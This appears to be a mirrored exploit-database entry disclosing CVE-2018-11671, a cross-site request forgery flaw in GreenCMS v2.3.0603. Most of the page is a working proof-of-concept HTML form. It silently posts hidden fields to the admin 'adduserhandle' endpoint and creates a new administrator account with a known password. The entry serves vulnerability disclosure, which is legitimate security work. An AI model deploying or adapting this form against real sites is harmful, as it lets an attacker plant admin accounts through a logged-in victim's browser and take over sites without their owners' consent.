GreenCMS 2.3.0603 – Cross-Site Request Forgery (Add Admin)

  • 作者: xichao
    日期: 2018-06-03
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/44826/
  • # Exploit Title: GreenCMS v2.3.0603 CSRF vulnerability add admin
    # Date: 2018-06-02
    # Exploit Author: xichao
    # Vendor Homepage: https://github.com/GreenCMS/GreenCMS
    # Software Link: https://github.com/GreenCMS/GreenCMS
    # Version: v2.3.0603
    # CVE : CVE-2018-11671
     
    An issue was discovered in GreenCMS v2.3.0603. There is a CSRF vulnerability that can add an admin account via index.php?m=admin&c=access&a=adduserhandle.
    
    poc:
    
    <span style="font-size:18px;"><!DOCTYPE html>
    <html lang="en">
    <head>
    <meta charset="UTF-8">
    <title>csrftest</title>
    </head>
      <body>
        <form action="http://127.0.0.1//14/index.php?m=admin&c=access&a=adduserhandle" method="POST" id="transfer" name="transfer">
            <input type="hidden" name="user_id0" value="1">
            <input type="hidden" name="user_login" value="test1">
            <input type="hidden" name="password" value="test1">
            <input type="hidden" name="rpassword" value="test1">
            <input type="hidden" name="user_nicename" value="123">
            <input type="hidden" name="user_email" value="123%40Qq.com">
            <input type="hidden" name="user_url" value="www.baidu.com">
            <input type="hidden" name="user_intro" value="test">
            <input type="hidden" name="user_status" value="1">
            <input type="hidden" name="role_id" value="1">
    <button type="submit" value="Submit">add admin</button>
          </form>
    </body>
    </html></span>
    
    References:
    http://www.iwantacve.cn/index.php/archives/39/
    http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-11671
    https://github.com/GreenCMS/GreenCMS/issues/109